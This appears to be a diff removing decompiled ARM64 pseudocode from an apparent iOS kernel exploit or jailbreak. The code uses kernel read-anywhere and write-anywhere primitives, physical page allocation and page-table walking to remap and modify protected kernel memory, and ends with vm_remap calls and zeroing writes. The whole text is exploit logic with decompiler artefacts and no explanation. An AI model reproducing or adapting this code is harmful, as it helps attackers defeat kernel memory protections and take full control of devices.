- *(r31 + 0x1738) = *(r31 + 0x1738) + 0x1;
- r8 = *(r31 + 0x1750) + *(r31 + 0x1738) * 0x8;
- *(r31 + 0xdc8) = r0;
- *(r31 + 0xdc0) = r8;
- _constget() + 0x10001e1b8;
- r0 = _WriteAnywhere64();
- *(r31 + 0x1738) = *(r31 + 0x1738) + 0x1;
- r9 = *(r31 + 0x1750) + *(r31 + 0x1738) * 0x8;
- *(r31 + 0xdb8) = r0;
- r0 = _WriteAnywhere64();
- *(r31 + 0x1738) = *(r31 + 0x1738) + 0x1;
- r8 = *(r31 + 0x1750) + *(r31 + 0x1738) * 0x8;
- *(r31 + 0xdb0) = r0;
- *(r31 + 0xda8) = r8;
- _constget() + 0x10001e1b8;
- r0 = _WriteAnywhere64();
- *(r31 + 0x1738) = *(r31 + 0x1738) + 0x1;
- r11 = *(r31 + 0x1750) + *(r31 + 0x1738) * 0x8;
- *(r31 + 0xda0) = r0;
- r0 = _WriteAnywhere64();
- *(r31 + 0x1738) = *(r31 + 0x1738) + 0x1;
- r8 = *(r31 + 0x1750) + *(r31 + 0x1738) * 0x8;
- *(r31 + 0xd98) = r0;
- *(r31 + 0xd90) = r8;
- _constget() + 0x10001e1b8;
- r0 = _WriteAnywhere64();
- *(r31 + 0x1738) = *(r31 + 0x1738) + 0x1;
- r9 = *(r31 + 0x1750) + *(r31 + 0x1738) * 0x8;
- *(r31 + 0xd88) = r0;
- r0 = _WriteAnywhere64();
- *(r31 + 0x1738) = *(r31 + 0x1738) + 0x1;
- r8 = *(r31 + 0x1750) + *(r31 + 0x1738) * 0x8;
- *(r31 + 0xd80) = r0;
- *(r31 + 0xd78) = r8;
- _constget() + 0x10001e1b8;
- r0 = _WriteAnywhere64();
- *(r31 + 0x1738) = *(r31 + 0x1738) + 0x1;
- r9 = *(r31 + 0x1750) + *(r31 + 0x1738) * 0x8;
- *(r31 + 0xd70) = r0;
- r0 = _WriteAnywhere64();
- *(r31 + 0x1738) = *(r31 + 0x1738) + 0x1;
- r8 = *(r31 + 0x1750) + *(r31 + 0x1738) * 0x8;
- *(r31 + 0xd68) = r0;
- *(r31 + 0xd60) = r8;
- _constget() + 0x10001e1b8;
- r0 = _WriteAnywhere64();
- *(r31 + 0x1738) = *(r31 + 0x1738) + 0x1;
- r8 = *(r31 + 0x1750) + *(r31 + 0x1738) * 0x8;
- *(r31 + 0xd58) = r0;
- *(r31 + 0xd50) = r8;
- (zero_extend_64(0x0) - ((_constget() & 0xfffffffffffff000) + 0x10001e1b8 - 0x10001e1d8) + 0x10001e1d0) + *(r31 + 0x1748) + 0x240;
- r0 = _WriteAnywhere64();
- *(r31 + 0x1738) = *(r31 + 0x1738) + 0x1;
- r8 = *(r31 + 0x1750) + *(r31 + 0x1738) * 0x8;
- *(r31 + 0xd48) = r0;
- *(r31 + 0xd40) = r8;
- _constget() + 0x10001e1b8;
- r0 = _WriteAnywhere64();
- *(r31 + 0x1738) = *(r31 + 0x1738) + 0x1;
- r9 = *(r31 + 0x1750) + *(r31 + 0x1738) * 0x8;
- *(r31 + 0xd38) = r0;
- r0 = _WriteAnywhere64();
- *(r31 + 0x1738) = *(r31 + 0x1738) + 0x1;
- r8 = *(r31 + 0x1750) + *(r31 + 0x1738) * 0x8;
- *(r31 + 0xd30) = r0;
- *(r31 + 0xd28) = r8;
- _constget() + 0x10001e1b8;
- r0 = _WriteAnywhere64();
- *(r31 + 0x1738) = *(r31 + 0x1738) + 0x1;
- r9 = *(r31 + 0x1750) + *(r31 + 0x1738) * 0x8;
- *(r31 + 0xd20) = r0;
- r0 = _WriteAnywhere64();
- *(r31 + 0x1738) = *(r31 + 0x1738) + 0x1;
- r8 = *(r31 + 0x1750) + *(r31 + 0x1738) * 0x8;
- *(r31 + 0xd18) = r0;
- *(r31 + 0xd10) = r8;
- _constget() + 0x10001e1b8;
- r0 = _WriteAnywhere64();
- r8 = *(r31 + 0x1748) + 0x20c;
- *(r31 + 0xd08) = r0;
- *(r31 + 0xd00) = r8;
- _constget() + 0x10001e1b8;
- r0 = _WriteAnywhere64();
- r8 = *(r31 + 0x1748) + 0x200;
- *(r31 + 0xcf8) = r0;
- *(r31 + 0xcf0) = r8;
- _constget() + 0x10001e1b8;
- r0 = _WriteAnywhere64();
- *(r31 + 0x1738) = *(r31 + 0x1738) + 0x1;
- r8 = *(r31 + 0x1750) + *(r31 + 0x1738) * 0x8;
- *(r31 + 0xce8) = r0;
- *(r31 + 0xce0) = r8;
- _constget() + 0x10001e1f8;
- r0 = _WriteAnywhere64();
- *(r31 + 0x1738) = *(r31 + 0x1738) + 0x1;
- r8 = *(r31 + 0x1750) + *(r31 + 0x1738) * 0x8;
- *(r31 + 0xcd8) = r0;
- *(r31 + 0xcd0) = r8;
- _constget() + 0x10001e1b8;
- r0 = _WriteAnywhere64();
- *(r31 + 0x1738) = *(r31 + 0x1738) + 0x1;
- r9 = *(r31 + 0x1750) + *(r31 + 0x1738) * 0x8;
- *(r31 + 0xcc8) = r0;
- r0 = _WriteAnywhere64();
- *(r31 + 0x1738) = *(r31 + 0x1738) + 0x1;
- r8 = *(r31 + 0x1750) + *(r31 + 0x1738) * 0x8;
- *(r31 + 0xcc0) = r0;
- *(r31 + 0xcb8) = r8;
- _constget() + 0x10001e1b8;
- r0 = _WriteAnywhere64();
- *(r31 + 0x1738) = *(r31 + 0x1738) + 0x1;
- r9 = *(r31 + 0x1750) + *(r31 + 0x1738) * 0x8;
- *(r31 + 0xcb0) = r0;
- r0 = _WriteAnywhere64();
- *(r31 + 0x1738) = *(r31 + 0x1738) + 0x1;
- r8 = *(r31 + 0x1750) + *(r31 + 0x1738) * 0x8;
- *(r31 + 0xca8) = r0;
- *(r31 + 0xca0) = r8;
- _constget() + 0x10001e1b8;
- r0 = _WriteAnywhere64();
- *(r31 + 0x1738) = *(r31 + 0x1738) + 0x1;
- r9 = *(r31 + 0x1750) + *(r31 + 0x1738) * 0x8;
- *(r31 + 0xc98) = r0;
- r0 = _WriteAnywhere64();
- *(r31 + 0x1738) = *(r31 + 0x1738) + 0x1;
- r8 = *(r31 + 0x1750) + *(r31 + 0x1738) * 0x8;
- *(r31 + 0xc90) = r0;
- *(r31 + 0xc88) = r8;
- _constget() + 0x10001e1b8;
- r0 = _WriteAnywhere64();
- *(r31 + 0x1738) = *(r31 + 0x1738) + 0x1;
- r9 = *(r31 + 0x1750) + *(r31 + 0x1738) * 0x8;
- *(r31 + 0xc80) = r0;
- r0 = _WriteAnywhere64();
- *(r31 + 0x1738) = *(r31 + 0x1738) + 0x1;
- r8 = *(r31 + 0x1750) + *(r31 + 0x1738) * 0x8;
- *(r31 + 0xc78) = r0;
- *(r31 + 0xc70) = r8;
- _constget() + 0x10001e1b8;
- r0 = _WriteAnywhere64();
- *(r31 + 0x1738) = *(r31 + 0x1738) + 0x1;
- r8 = *(r31 + 0x1750) + *(r31 + 0x1738) * 0x8;
- *(r31 + 0xc68) = r0;
- *(r31 + 0xc60) = r8;
- _constget() + 0x10001e1f8;
- r0 = _WriteAnywhere64();
- *(r31 + 0x1738) = *(r31 + 0x1738) + 0x1;
- r8 = *(r31 + 0x1750) + *(r31 + 0x1738) * 0x8;
- *(r31 + 0xc58) = r0;
- *(r31 + 0xc50) = r8;
- _constget() + 0x10001e1b8;
- r0 = _WriteAnywhere64();
- *(r31 + 0x1738) = *(r31 + 0x1738) + 0x1;
- r9 = *(r31 + 0x1750) + *(r31 + 0x1738) * 0x8;
- *(r31 + 0xc48) = r0;
- r0 = _WriteAnywhere64();
- *(r31 + 0x1738) = *(r31 + 0x1738) + 0x1;
- r8 = *(r31 + 0x1750) + *(r31 + 0x1738) * 0x8;
- *(r31 + 0xc40) = r0;
- *(r31 + 0xc38) = r8;
- _constget() + 0x10001e1b8;
- r0 = _WriteAnywhere64();
- *(r31 + 0x1738) = *(r31 + 0x1738) + 0x1;
- r9 = *(r31 + 0x1750) + *(r31 + 0x1738) * 0x8;
- *(r31 + 0xc30) = r0;
- r0 = _WriteAnywhere64();
- *(r31 + 0x1738) = *(r31 + 0x1738) + 0x1;
- r8 = *(r31 + 0x1750) + *(r31 + 0x1738) * 0x8;
- *(r31 + 0xc28) = r0;
- *(r31 + 0xc20) = r8;
- _constget() + 0x10001e1b8;
- r0 = _WriteAnywhere64();
- *(r31 + 0x1738) = *(r31 + 0x1738) + 0x1;
- r9 = *(r31 + 0x1750) + *(r31 + 0x1738) * 0x8;
- *(r31 + 0xc18) = r0;
- r0 = _WriteAnywhere64();
- *(r31 + 0x1738) = *(r31 + 0x1738) + 0x1;
- r8 = *(r31 + 0x1750) + *(r31 + 0x1738) * 0x8;
- *(r31 + 0xc10) = r0;
- *(r31 + 0xc08) = r8;
- _constget() + 0x10001e1b8;
- r0 = _WriteAnywhere64();
- *(r31 + 0x1738) = *(r31 + 0x1738) + 0x1;
- r9 = *(r31 + 0x1750) + *(r31 + 0x1738) * 0x8;
- *(r31 + 0xc00) = r0;
- r0 = _WriteAnywhere64();
- *(r31 + 0x1738) = *(r31 + 0x1738) + 0x1;
- r8 = *(r31 + 0x1750) + *(r31 + 0x1738) * 0x8;
- *(r31 + 0xbf8) = r0;
- *(r31 + 0xbf0) = r8;
- _constget() + 0x10001e1b8;
- r0 = _WriteAnywhere64();
- *(r31 + 0x1738) = *(r31 + 0x1738) + 0x1;
- r9 = *(r31 + 0x1750) + *(r31 + 0x1738) * 0x8;
- *(r31 + 0xbe8) = r0;
- r0 = _WriteAnywhere64();
- *(r31 + 0x1738) = *(r31 + 0x1738) + 0x1;
- r8 = *(r31 + 0x1750) + *(r31 + 0x1738) * 0x8;
- *(r31 + 0xbe0) = r0;
- *(r31 + 0xbd8) = r8;
- _constget() + 0x10001e1b8;
- r0 = _WriteAnywhere64();
- *(r31 + 0x1738) = *(r31 + 0x1738) + 0x1;
- r9 = *(r31 + 0x1750) + *(r31 + 0x1738) * 0x8;
- *(r31 + 0xbd0) = r0;
- r0 = _WriteAnywhere64();
- *(r31 + 0x1738) = *(r31 + 0x1738) + 0x1;
- r8 = *(r31 + 0x1750) + *(r31 + 0x1738) * 0x8;
- *(r31 + 0xbc8) = r0;
- *(r31 + 0xbc0) = r8;
- _constget() + 0x10001e1b8;
- r0 = _WriteAnywhere64();
- *(r31 + 0x1738) = *(r31 + 0x1738) + 0x1;
- r9 = *(r31 + 0x1750) + *(r31 + 0x1738) * 0x8;
- *(r31 + 0xbb8) = r0;
- r0 = _WriteAnywhere64();
- *(r31 + 0x1738) = *(r31 + 0x1738) + 0x1;
- r8 = *(r31 + 0x1750) + *(r31 + 0x1738) * 0x8;
- *(r31 + 0xbb0) = r0;
- *(r31 + 0xba8) = r8;
- _constget() + 0x10001e1b8;
- r0 = _WriteAnywhere64();
- *(r31 + 0x1738) = *(r31 + 0x1738) + 0x1;
- r9 = *(r31 + 0x1750) + *(r31 + 0x1738) * 0x8;
- *(r31 + 0xba0) = r0;
- r0 = _WriteAnywhere64();
- *(r31 + 0x1738) = *(r31 + 0x1738) + 0x1;
- r8 = *(r31 + 0x1750) + *(r31 + 0x1738) * 0x8;
- *(r31 + 0xb98) = r0;
- *(r31 + 0xb90) = r8;
- _constget() + 0x10001e1b8;
- r0 = _WriteAnywhere64();
- *(r31 + 0x1738) = *(r31 + 0x1738) + 0x1;
- r9 = *(r31 + 0x1750) + *(r31 + 0x1738) * 0x8;
- *(r31 + 0xb88) = r0;
- r0 = _WriteAnywhere64();
- *(r31 + 0x1738) = *(r31 + 0x1738) + 0x1;
- r8 = *(r31 + 0x1750) + *(r31 + 0x1738) * 0x8;
- *(r31 + 0xb80) = r0;
- *(r31 + 0xb78) = r8;
- _constget() + 0x10001e1b8;
- r0 = _WriteAnywhere64();
- *(r31 + 0x1738) = *(r31 + 0x1738) + 0x1;
- r8 = *(r31 + 0x1750) + *(r31 + 0x1738) * 0x8;
- *(r31 + 0xb70) = r0;
- *(r31 + 0xb68) = r8;
- _constget() + 0x10001e1f8;
- r0 = _WriteAnywhere64();
- *(r31 + 0x1738) = *(r31 + 0x1738) + 0x1;
- r8 = *(r31 + 0x1750) + *(r31 + 0x1738) * 0x8;
- *(r31 + 0xb60) = r0;
- *(r31 + 0xb58) = r8;
- _constget() + 0x10001e1b8;
- r0 = _WriteAnywhere64();
- *(r31 + 0x1738) = *(r31 + 0x1738) + 0x1;
- r9 = *(r31 + 0x1750) + *(r31 + 0x1738) * 0x8;
- *(r31 + 0xb50) = r0;
- r0 = _WriteAnywhere64();
- *(r31 + 0x1738) = *(r31 + 0x1738) + 0x1;
- r8 = *(r31 + 0x1750) + *(r31 + 0x1738) * 0x8;
- *(r31 + 0xb48) = r0;
- *(r31 + 0xb40) = r8;
- _constget() + 0x10001e1b8;
- r0 = _WriteAnywhere64();
- *(r31 + 0x1738) = *(r31 + 0x1738) + 0x1;
- r9 = *(r31 + 0x1750) + *(r31 + 0x1738) * 0x8;
- *(r31 + 0xb38) = r0;
- r0 = _WriteAnywhere64();
- *(r31 + 0x1738) = *(r31 + 0x1738) + 0x1;
- r8 = *(r31 + 0x1750) + *(r31 + 0x1738) * 0x8;
- *(r31 + 0xb30) = r0;
- *(r31 + 0xb28) = r8;
- _constget() + 0x10001e1b8;
- r0 = _WriteAnywhere64();
- *(r31 + 0x17b8) = *(r31 + 0x17a0) + 0x8;
- *(r31 + 0x17af) = r31;
- *(r31 + 0xb20) = r0;
- NSLog(@"enter");
- *(r31 + 0x17d0) = *(r31 + 0x17a0) + 0x8;
- *(r31 + 0xb18) = *(r31 + 0x1708) + *(r31 + 0x1780);
- *(r31 + 0x17c8) = 0x10001e1d8 + (*(r31 + 0xb18) - _constget() + 0x10001e1b8);
- goto loc_100012da4;
- loc_100012da4:
- *(r31 + 0x1520) = r31;
- *(r31 + 0x1518) = r31;
- *(r31 + 0x1518) = _constget() + 0x10001e1b8;
- r30 = *(r31 + 0x1518) & 0xffffffffffffc000;
- r8 = *(r31 + 0x17b0);
- r0 = (r30 >> 0x19 & 0x7ff) << 0x3;
- asm { sxtw x0, w0 };
- *(r31 + 0x1510) = _ReadAnywhere64();
- *(r31 + 0x1508) = _physalloc();
- for (*(r31 + 0x1504) = r31; *(r31 + 0x1504) < 0x800; *(r31 + 0x1504) = *(r31 + 0x1504) + 0x1) {
- r8 = 0x10001e1d8;
- r9 = 0x10001e1d0;
- r10 = *(r31 + 0x1508);
- r12 = *(r31 + 0x1504) << 0x3;
- asm { sxtw x12, w12 };
- r0 = r10 + r12;
- r8 = ((*(r31 + 0x1510) & 0xfffffffffffff000) - r9) + r8;
- r9 = *(r31 + 0x1504) << 0x3;
- asm { sxtw x9, w9 };
- *(r31 + 0x9c0) = r0;
- *(r31 + 0x9b8) = _ReadAnywhere64();
- *(r31 + 0x9b0) = _WriteAnywhere64();
- }
- r8 = *(r31 + 0x1510) & 0xfff;
- *(r31 + 0x9a8) = r8;
- *(r31 + 0x1510) = *(r31 + 0x9a8) | _findphys_real() & 0xfffffffffffff000;
- r0 = *(r31 + 0x17b0);
- r8 = (0x10001e1e8 >> 0x19 & 0x7ff) << 0x3;
- asm { sxtw x8, w8 };
- *(r31 + 0x9a0) = _WriteAnywhere64();
- *(r31 + 0x1520) = _physalloc();
- r0 = *(r31 + 0x1508);
- r8 = (0x10001e1e8 >> 0xe & 0x7ff) << 0x3;
- asm { sxtw x8, w8 };
- *(r31 + 0x14f8) = _ReadAnywhere64();
- for (*(r31 + 0x14f4) = r31; *(r31 + 0x14f4) < 0x800; *(r31 + 0x14f4) = *(r31 + 0x14f4) + 0x1) {
- r8 = 0x10001e1d8;
- r9 = 0x10001e1d0;
- r10 = *(r31 + 0x1520);
- r12 = *(r31 + 0x14f4) << 0x3;
- asm { sxtw x12, w12 };
- r0 = r10 + r12;
- r8 = ((*(r31 + 0x14f8) & 0xfffffffffffff000) - r9) + r8;
- r9 = *(r31 + 0x14f4) << 0x3;
- asm { sxtw x9, w9 };
- *(r31 + 0x998) = r0;
- *(r31 + 0x990) = _ReadAnywhere64();
- *(r31 + 0x988) = _WriteAnywhere64();
- }
- r8 = *(r31 + 0x14f8) & 0xfff;
- *(r31 + 0x980) = r8;
- *(r31 + 0x14f8) = *(r31 + 0x980) | _findphys_real() & 0xfffffffffffff000;
- r0 = *(r31 + 0x1508);
- r8 = (0x10001e1e8 >> 0xe & 0x7ff) << 0x3;
- asm { sxtw x8, w8 };
- *(r31 + 0x978) = _WriteAnywhere64();
- NSLog(@"%llx", *(r31 + 0x1520));
- *(r31 + 0x970) = _WriteAnywhere32(*(r31 + 0x1520) + (*(r31 + 0x1518) & 0x3fff), r31 | 0x1);
- *(r31 + 0x1518) = _constget() + 0x10001e1b8;
- r8 = *(r31 + 0x1518) & 0xffffffffffffc000;
- r0 = *(r31 + 0x17b0);
- r8 = (r8 >> 0x19 & 0x7ff) << 0x3;
- asm { sxtw x8, w8 };
- *(r31 + 0x14e8) = _ReadAnywhere64();
- *(r31 + 0x14e0) = _physalloc();
- for (*(r31 + 0x14dc) = r31; *(r31 + 0x14dc) < 0x800; *(r31 + 0x14dc) = *(r31 + 0x14dc) + 0x1) {
- r8 = 0x10001e1d8;
- r9 = 0x10001e1d0;
- r10 = *(r31 + 0x14e0);
- r12 = *(r31 + 0x14dc) << 0x3;
- asm { sxtw x12, w12 };
- r0 = r10 + r12;
- r8 = ((*(r31 + 0x14e8) & 0xfffffffffffff000) - r9) + r8;
- r9 = *(r31 + 0x14dc) << 0x3;
- asm { sxtw x9, w9 };
- *(r31 + 0x968) = r0;
- *(r31 + 0x960) = _ReadAnywhere64();
- *(r31 + 0x958) = _WriteAnywhere64();
- }
- r8 = *(r31 + 0x14e8) & 0xfff;
- *(r31 + 0x950) = r8;
- *(r31 + 0x14e8) = *(r31 + 0x950) | _findphys_real() & 0xfffffffffffff000;
- r0 = *(r31 + 0x17b0);
- r8 = (0x10001e1e8 >> 0x19 & 0x7ff) << 0x3;
- asm { sxtw x8, w8 };
- *(r31 + 0x948) = _WriteAnywhere64();
- *(r31 + 0x1520) = _physalloc();
- r0 = *(r31 + 0x14e0);
- r8 = (0x10001e1e8 >> 0xe & 0x7ff) << 0x3;
- asm { sxtw x8, w8 };
- *(r31 + 0x14d0) = _ReadAnywhere64();
- for (*(r31 + 0x14cc) = r31; *(r31 + 0x14cc) < 0x800; *(r31 + 0x14cc) = *(r31 + 0x14cc) + 0x1) {
- r8 = 0x10001e1d8;
- r9 = 0x10001e1d0;
- r10 = *(r31 + 0x1520);
- r12 = *(r31 + 0x14cc) << 0x3;
- asm { sxtw x12, w12 };
- r0 = r10 + r12;
- r8 = ((*(r31 + 0x14d0) & 0xfffffffffffff000) - r9) + r8;
- r9 = *(r31 + 0x14cc) << 0x3;
- asm { sxtw x9, w9 };
- *(r31 + 0x940) = r0;
- *(r31 + 0x938) = _ReadAnywhere64();
- *(r31 + 0x930) = _WriteAnywhere64();
- }
- r8 = *(r31 + 0x14d0) & 0xfff;
- *(r31 + 0x928) = r8;
- *(r31 + 0x14d0) = *(r31 + 0x928) | _findphys_real() & 0xfffffffffffff000;
- r0 = *(r31 + 0x14e0);
- r8 = (0x10001e1e8 >> 0xe & 0x7ff) << 0x3;
- asm { sxtw x8, w8 };
- r0 = _WriteAnywhere64();
- r8 = *(r31 + 0x1520) + (*(r31 + 0x1518) & 0x3fff);
- *(r31 + 0x920) = r0;
- *(r31 + 0x918) = r8;
- _constget() + 0x10001e1b8;
- *(r31 + 0x910) = _WriteAnywhere64();
- *(r31 + 0x1518) = _constget() + 0x10001e1b8;
- r8 = *(r31 + 0x1518) & 0xffffffffffffc000;
- r0 = *(r31 + 0x17b0);
- r8 = (r8 >> 0x19 & 0x7ff) << 0x3;
- asm { sxtw x8, w8 };
- *(r31 + 0x14c0) = _ReadAnywhere64();
- *(r31 + 0x14b8) = _physalloc();
- for (*(r31 + 0x14b4) = r31; *(r31 + 0x14b4) < 0x800; *(r31 + 0x14b4) = *(r31 + 0x14b4) + 0x1) {
- r8 = 0x10001e1d8;
- r9 = 0x10001e1d0;
- r10 = *(r31 + 0x14b8);
- r12 = *(r31 + 0x14b4) << 0x3;
- asm { sxtw x12, w12 };
- r0 = r10 + r12;
- r8 = ((*(r31 + 0x14c0) & 0xfffffffffffff000) - r9) + r8;
- r9 = *(r31 + 0x14b4) << 0x3;
- asm { sxtw x9, w9 };
- *(r31 + 0x908) = r0;
- *(r31 + 0x900) = _ReadAnywhere64();
- *(r31 + 0x8f8) = _WriteAnywhere64();
- }
- r8 = *(r31 + 0x14c0) & 0xfff;
- *(r31 + 0x8f0) = r8;
- *(r31 + 0x14c0) = *(r31 + 0x8f0) | _findphys_real() & 0xfffffffffffff000;
- r0 = *(r31 + 0x17b0);
- r8 = (0x10001e1e8 >> 0x19 & 0x7ff) << 0x3;
- asm { sxtw x8, w8 };
- *(r31 + 0x8e8) = _WriteAnywhere64();
- *(r31 + 0x1520) = _physalloc();
- r0 = *(r31 + 0x14b8);
- r8 = (0x10001e1e8 >> 0xe & 0x7ff) << 0x3;
- asm { sxtw x8, w8 };
- *(r31 + 0x14a8) = _ReadAnywhere64();
- for (*(r31 + 0x14a4) = r31; *(r31 + 0x14a4) < 0x800; *(r31 + 0x14a4) = *(r31 + 0x14a4) + 0x1) {
- r8 = 0x10001e1d8;
- r9 = 0x10001e1d0;
- r10 = *(r31 + 0x1520);
- r12 = *(r31 + 0x14a4) << 0x3;
- asm { sxtw x12, w12 };
- r0 = r10 + r12;
- r8 = ((*(r31 + 0x14a8) & 0xfffffffffffff000) - r9) + r8;
- r9 = *(r31 + 0x14a4) << 0x3;
- asm { sxtw x9, w9 };
- *(r31 + 0x8e0) = r0;
- *(r31 + 0x8d8) = _ReadAnywhere64();
- *(r31 + 0x8d0) = _WriteAnywhere64();
- }
- r8 = *(r31 + 0x14a8) & 0xfff;
- *(r31 + 0x8c8) = r8;
- *(r31 + 0x14a8) = *(r31 + 0x8c8) | _findphys_real() & 0xfffffffffffff000;
- r0 = *(r31 + 0x14b8);
- r8 = (0x10001e1e8 >> 0xe & 0x7ff) << 0x3;
- asm { sxtw x8, w8 };
- r0 = _WriteAnywhere64();
- r8 = *(r31 + 0x1520) + (*(r31 + 0x1518) & 0x3fff);
- *(r31 + 0x8c0) = r0;
- *(r31 + 0x8b8) = r8;
- _constget() + 0x10001e1b8;
- r0 = _WriteAnywhere64();
- *(r31 + 0x1518) = *(r31 + 0x17b8);
- r8 = *(r31 + 0x1518) & 0xffffffffffffc000;
- r1 = *(r31 + 0x17b0);
- r8 = (r8 >> 0x19 & 0x7ff) << 0x3;
- asm { sxtw x8, w8 };
- *(r31 + 0x8b0) = r0;
- *(r31 + 0x1498) = _ReadAnywhere64();
- *(r31 + 0x1490) = _physalloc();
- for (*(r31 + 0x148c) = r31; *(r31 + 0x148c) < 0x800; *(r31 + 0x148c) = *(r31 + 0x148c) + 0x1) {
- r8 = 0x10001e1d8;
- r9 = 0x10001e1d0;
- r10 = *(r31 + 0x1490);
- r12 = *(r31 + 0x148c) << 0x3;
- asm { sxtw x12, w12 };
- r0 = r10 + r12;
- r8 = ((*(r31 + 0x1498) & 0xfffffffffffff000) - r9) + r8;
- r9 = *(r31 + 0x148c) << 0x3;
- asm { sxtw x9, w9 };
- *(r31 + 0x8a8) = r0;
- *(r31 + 0x8a0) = _ReadAnywhere64();
- *(r31 + 0x898) = _WriteAnywhere64();
- }
- r8 = *(r31 + 0x1498) & 0xfff;
- *(r31 + 0x890) = r8;
- *(r31 + 0x1498) = *(r31 + 0x890) | _findphys_real() & 0xfffffffffffff000;
- r0 = *(r31 + 0x17b0);
- r8 = (0x10001e1e8 >> 0x19 & 0x7ff) << 0x3;
- asm { sxtw x8, w8 };
- *(r31 + 0x888) = _WriteAnywhere64();
- *(r31 + 0x1520) = _physalloc();
- r0 = *(r31 + 0x1490);
- r8 = (0x10001e1e8 >> 0xe & 0x7ff) << 0x3;
- asm { sxtw x8, w8 };
- *(r31 + 0x1480) = _ReadAnywhere64();
- for (*(r31 + 0x147c) = r31; *(r31 + 0x147c) < 0x800; *(r31 + 0x147c) = *(r31 + 0x147c) + 0x1) {
- r8 = 0x10001e1d8;
- r9 = 0x10001e1d0;
- r10 = *(r31 + 0x1520);
- r12 = *(r31 + 0x147c) << 0x3;
- asm { sxtw x12, w12 };
- r0 = r10 + r12;
- r8 = ((*(r31 + 0x1480) & 0xfffffffffffff000) - r9) + r8;
- r9 = *(r31 + 0x147c) << 0x3;
- asm { sxtw x9, w9 };
- *(r31 + 0x880) = r0;
- *(r31 + 0x878) = _ReadAnywhere64();
- *(r31 + 0x870) = _WriteAnywhere64();
- }
- r8 = *(r31 + 0x1480) & 0xfff;
- *(r31 + 0x868) = r8;
- *(r31 + 0x1480) = *(r31 + 0x868) | _findphys_real() & 0xfffffffffffff000;
- r0 = *(r31 + 0x1490);
- r8 = (0x10001e1e8 >> 0xe & 0x7ff) << 0x3;
- asm { sxtw x8, w8 };
- r0 = _WriteAnywhere64();
- r1 = *(r31 + 0x1520) + (*(r31 + 0x1518) & 0x3fff);
- *(r31 + 0x860) = r0;
- *(r31 + 0x858) = _WriteAnywhere64();
- *(r31 + 0x1470) = _constget() + 0x10001e1b8;
- *(r31 + 0x1468) = *(r31 + 0x1470) + 0xa78;
- *(r31 + 0x1460) = *(r31 + 0x1468) - *(r31 + 0x1470);
- *(r31 + 0x145c) = r31;
- *(r31 + 0x1458) = r31;
- while (sign_extend_64(*(r31 + 0x1458)) < *(r31 + 0x1460)) {
- r8 = *(r31 + 0x1470) + sign_extend_64(*(r31 + 0x1458)) & 0xffffffffffffc000;
- r9 = *(r31 + 0x17b0);
- r8 = (r8 >> 0x19 & 0x7ff) << 0x3;
- asm { sxtw x8, w8 };
- *(r31 + 0x1450) = _ReadAnywhere64();
- *(r31 + 0x1448) = _physalloc();
- for (*(r31 + 0x1444) = r31; *(r31 + 0x1444) < 0x800; *(r31 + 0x1444) = *(r31 + 0x1444) + 0x1) {
- r8 = 0x10001e1d8;
- r9 = 0x10001e1d0;
- r10 = *(r31 + 0x1448);
- r12 = *(r31 + 0x1444) << 0x3;
- asm { sxtw x12, w12 };
- r0 = r10 + r12;
- r8 = ((*(r31 + 0x1450) & 0xfffffffffffff000) - r9) + r8;
- r9 = *(r31 + 0x1444) << 0x3;
- asm { sxtw x9, w9 };
- *(r31 + 0x850) = r0;
- *(r31 + 0x848) = _ReadAnywhere64();
- *(r31 + 0x840) = _WriteAnywhere64();
- }
- r8 = *(r31 + 0x1450) & 0xfff;
- *(r31 + 0x838) = r8;
- *(r31 + 0x1450) = *(r31 + 0x838) | _findphys_real() & 0xfffffffffffff000;
- r0 = *(r31 + 0x17b0);
- r8 = (0x10001e1e8 >> 0x19 & 0x7ff) << 0x3;
- asm { sxtw x8, w8 };
- *(r31 + 0x830) = _WriteAnywhere64();
- *(r31 + 0x1520) = _physalloc();
- r0 = *(r31 + 0x1448);
- r8 = (0x10001e1e8 >> 0xe & 0x7ff) << 0x3;
- asm { sxtw x8, w8 };
- *(r31 + 0x1438) = _ReadAnywhere64();
- for (*(r31 + 0x1434) = r31; *(r31 + 0x1434) < 0x800; *(r31 + 0x1434) = *(r31 + 0x1434) + 0x1) {
- r8 = 0x10001e1d8;
- r9 = 0x10001e1d0;
- r10 = *(r31 + 0x1520);
- r12 = *(r31 + 0x1434) << 0x3;
- asm { sxtw x12, w12 };
- r0 = r10 + r12;
- r8 = ((*(r31 + 0x1438) & 0xfffffffffffff000) - r9) + r8;
- r9 = *(r31 + 0x1434) << 0x3;
- asm { sxtw x9, w9 };
- *(r31 + 0x828) = r0;
- *(r31 + 0x820) = _ReadAnywhere64();
- *(r31 + 0x818) = _WriteAnywhere64();
- }
- r8 = *(r31 + 0x1438) & 0xfff;
- *(r31 + 0x810) = r8;
- *(r31 + 0x1438) = *(r31 + 0x810) | _findphys_real() & 0xfffffffffffff000;
- r0 = *(r31 + 0x1448);
- r8 = (0x10001e1e8 >> 0xe & 0x7ff) << 0x3;
- asm { sxtw x8, w8 };
- r0 = _WriteAnywhere64();
- r8 = r29 - 0x98;
- r1 = *(r31 + 0x1520);
- *(r31 + 0x145c) = *(r31 + 0x145c) + 0x1;
- r30 = *(r31 + 0x145c);
- asm { sxtw x30, w30 };
- *(r31 + 0x808) = r0;
- *(r31 + 0x1458) = *(r31 + 0x1458) + 0x4;
- }
- *(r31 + 0x1428) = r31;
- r0 = vm_allocate(*_mach_task_self_, r31 + 0x429, *(r31 + 0x1460) + 0x8, r31 | 0x1);
- *(r31 + 0x1424) = r31;
- *(r31 + 0x804) = r0;
- while (*(r31 + 0x1424) < *(r31 + 0x145c)) {
- r1 = r31 + 0x419;
- r2 = r31 | 0x4000;
- r8 = zero_extend_64(0x0);
- r9 = zero_extend_64(0x0);
- r10 = r31 + 0x415;
- r11 = r31 | 0x2;
- r12 = r29 - 0x98;
- r13 = 0x10001e1b0;
- r14 = *_mach_task_self_;
- r15 = *(r31 + 0x1428);
- r17 = *(r31 + 0x1424) << 0xe;
- asm { sxtw x17, w17 };
- *(r31 + 0x1418) = r15 + r17;
- *(r31 + 0x1414) = r31;
- r31 = r10;
- *(r31 + 0x8) = r10;
- *(r31 + 0x10) = r11;
- *(r31 + 0x800) = vm_remap(r14, r1, r2, r8, stack[2102], stack[2103], stack[2104], stack[2105], stack[2106], stack[2107], stack[2108]);
- *(r31 + 0x1424) = *(r31 + 0x1424) + 0x1;
- }
- *(r31 + 0x1408) = *(r31 + 0x1428) + (*(r31 + 0x1470) & 0x3fff);
- *(*(r31 + 0x1408) + 0x120) = zero_extend_64(0x0);
- *(*(r31 + 0x1408) + 0x3c0) = zero_extend_64(0x0);
